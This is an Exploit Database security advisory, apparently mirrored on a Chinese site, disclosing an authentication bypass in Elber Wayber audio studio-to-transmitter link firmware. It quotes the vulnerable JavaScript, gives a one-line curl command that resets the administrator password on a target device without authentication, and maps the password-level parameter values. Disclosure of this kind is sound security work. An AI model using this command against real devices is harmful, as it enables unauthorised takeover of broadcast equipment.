Elber Wayber Analog/Digital Audio STL 4.00 – Authentication Bypass

• Exploit Database
• 704 阅读

• 作者： LiquidWorm
  日期： 2024-08-24
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/52071/

• Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass
  
  
  Vendor: Elber S.r.l.
  Product web page: https://www.elber.it
  Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)
  Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)
  Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)
  Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)
  Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)
  Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)
  Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)
  
  Summary: Wayber II is the name of an analogue/digital microwave link
  able to transport a Mono or a MPX stereo signal from studio to audio
  transmitter. Compact and reliable, it features very high quality and
  modern technology both in signal processing and microwave section leading
  to outstanding performances.
  
  Desc: The device suffers from an authentication bypass vulnerability through
  a direct and unauthorized access to the password management functionality. The
  issue allows attackers to bypass authentication by manipulating the set_pwd
  endpoint that enables them to overwrite the password of any user within the
  system. This grants unauthorized and administrative access to protected areas
  of the application compromising the device's system security.
  
  --------------------------------------------------------------------------
  /modules/pwd.html
  ------------------
  50: function apply_pwd(level, pwd)
  51: {
  52: 	$.get("json_data/set_pwd", {lev:level, pass:pwd},
  53: 	function(data){
  54: 		//$.alert({title:'Operation',text:data});
  55: 		show_message(data);
  56: 	}).fail(function(error){
  57: 		show_message('Error ' + error.status, 'error');
  58: 	});
  59: }
  
  --------------------------------------------------------------------------
  
  Tested on: NBFM Controller
   embOS/IP
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2024-5822
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php
  
  
  18.08.2023
  
  --
  
  
  $ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234
  
  Ref (lev param):
  
  Level 7 = SNMP Write Community (snmp_write_pwd)
  Level 6 = SNMP Read Community (snmp_read_pwd)
  Level 5 = Custom Password? hidden. (custom_pwd)
  Level 4 = Display Password (display_pwd)?
  Level 2 = Administrator Password (admin_pwd)
  Level 1 = Super User Password (puser_pwd)
  Level 0 = User Password (user_pwd)